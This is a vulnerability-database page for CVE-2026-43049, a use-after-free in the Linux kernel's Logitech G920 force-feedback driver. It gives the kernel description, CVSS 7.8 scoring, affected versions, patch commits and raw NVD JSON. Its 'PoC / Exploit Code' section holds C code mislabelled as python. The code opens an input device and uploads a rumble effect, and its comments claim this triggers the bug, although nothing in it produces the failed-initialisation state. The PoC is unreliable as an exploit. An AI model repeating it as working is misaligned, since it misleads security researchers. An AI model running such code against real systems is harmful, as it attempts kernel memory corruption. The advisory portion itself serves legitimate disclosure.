CVE-2026-43049

Description

In the Linux kernel, the following vulnerability has been resolved: HID: logitech-hidpp: Prevent use-after-free on force feedback initialisation failure Presently, if the force feedback initialisation fails when probing the Logitech G920 Driving Force Racing Wheel for Xbox One, an error number will be returned and propagated before the userspace infrastructure (sysfs and /dev/input) has been torn down. If userspace ignores the errors and continues to use its references to these dangling entities, a UAF will promptly follow. We have 2 options; continue to return the error, but ensure that all of the infrastructure is torn down accordingly or continue to treat this condition as a warning by emitting the message but returning success. It is thought that the original author's intention was to emit the warning but keep the device functional, less the force feedback feature, so let's go with that.

CVSS Details

CVSS Score

7.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:5.3.9:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:linux:linux_kernel:5.4:-:*:*:*:*:*:* - VULNERABLE

Linux Kernel < Commit 772f99cc8d6e5d95613bce93c9624e154c1abe88

Linux Kernel < Commit 9a793ac19eb84f44ed759c0fce80cf29bc2a2453

Linux Kernel < Commit b846fb0a73e99174f08238e083e284c0463a2102

Linux Kernel < Commit f7a4c78bfeb320299c1b641500fe7761eadbd101

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <linux/input.h>
#include <string.h>
#include <unistd.h>

// PoC for CVE-2026-43049
// This code attempts to interact with input devices to trigger the UAF
// if the driver failed initialization but left the device node open.

int main() {
    const char *device_path = "/dev/input/event0"; // Typically eventX for G920
    int fd = -1;
    struct input_event ev;

    printf("[+] Attempting to open %s...\n", device_path);
    fd = open(device_path, O_RDWR);
    if (fd < 0) {
        perror("[-] Failed to open device");
        return 1;
    }

    printf("[+] Device opened. Attempting to upload effect to trigger UAF...\n");
    
    // Try to upload a force feedback effect. 
    // This requires the device to be in a state where memory might be dangling.
    struct ff_effect effect;
    memset(&effect, 0, sizeof(effect));
    effect.type = FF_RUMBLE;
    effect.id = -1;
    effect.u.rumble.strong_magnitude = 0x8000;
    effect.u.rumble.weak_magnitude = 0x8000;

    if (ioctl(fd, EVIOCSFF, &effect) < 0) {
        perror("[-] IOCTL failed");
    } else {
        printf("[+] IOCTL succeeded. If kernel is vulnerable, UAF may occur now.\n");
    }

    close(fd);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43049
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43049
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43049/
[4] VulDB https://vuldb.com/cve/CVE-2026-43049
[5] https://git.kernel.org/stable/c/772f99cc8d6e5d95613bce93c9624e154c1abe88
[6] https://git.kernel.org/stable/c/9a793ac19eb84f44ed759c0fce80cf29bc2a2453
[7] https://git.kernel.org/stable/c/b846fb0a73e99174f08238e083e284c0463a2102
[8] https://git.kernel.org/stable/c/f7a4c78bfeb320299c1b641500fe7761eadbd101

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43049", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-01T15:16:51.297", "lastModified": "2026-05-07T19:05:22.307", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nHID: logitech-hidpp: Prevent use-after-free on force feedback initialisation failure\n\nPresently, if the force feedback initialisation fails when probing the\nLogitech G920 Driving Force Racing Wheel for Xbox One, an error number\nwill be returned and propagated before the userspace infrastructure\n(sysfs and /dev/input) has been torn down. If userspace ignores the\nerrors and continues to use its references to these dangling entities, a\nUAF will promptly follow.\n\nWe have 2 options; continue to return the error, but ensure that all of\nthe infrastructure is torn down accordingly or continue to treat this\ncondition as a warning by emitting the message but returning success.\nIt is thought that the original author's intention was to emit the\nwarning but keep the device functional, less the force feedback feature,\nso let's go with that."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-416"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.4.1", "versionEndExcluding": "6.12.81", "matchCriteriaId": "1B4E8BF3-5F39-40C7-8A91-CEF3EC9C4C61"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.22", "matchCriteriaId": "C9DF8BCE-36D3-475D-9D21-19E4F02F9029"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.12", "matchCriteriaId": "0A2B9540-02D5-41B4-B16A-82AF66FD4F36"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.3.9:*:*:*:*:*:*:*", "matchCriteriaId": "BC411730-9713-49D6-B5FE-FA0D4D6713E7"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.4:-:*:*:*:*:*:*", "matchCriteriaId": "4D70AB13-37BE-4BD3-A652-10191F1642E4"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.4:rc6:*:*:*:*:*:*", "matchCriteriaId": "EEDE6F28-7530-476B-A838-83E5B2D2A2DD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.4:rc7:*:*:*:*:*:*", "matchCriteriaId": "7BB18ED4-6619-467C-870F-7671261DBEF2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:5.4:rc8:*:*:*:*:*:*", "matchCriteriaId": "D980DAA0-07F8-4C47-B178-0BDDDA234A06"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc1:*:*:*:*:*:*", "matchCriteriaId": "F253B622-8837-4245-BCE5-A7BF8FC76A16"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc2:*:*:*:*:*:*", "matchCriteriaId": "4AE85AD8-4641-4E7C-A2F4-305E2CD9EE64"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc3:*:*:*:*:*:*", "matchCriteriaId": "F666C8D8-6538-46D4-B318-87610DE64C34"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:7.0:rc4:*:*:*:*:*:*", "matchCriteriaId": "02259FDA-961B-47BC-AE7F-93D7EC6E90C2"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/772f99cc8d6e5d95613bce93c9624e154c1abe88", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/9a793ac19eb84f44ed759c0fce80cf29bc2a2453", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/b846fb0a73e99174f08238e083e284c0463a2102", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/f7a4c78bfeb320299c1b641500fe7761eadbd101", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}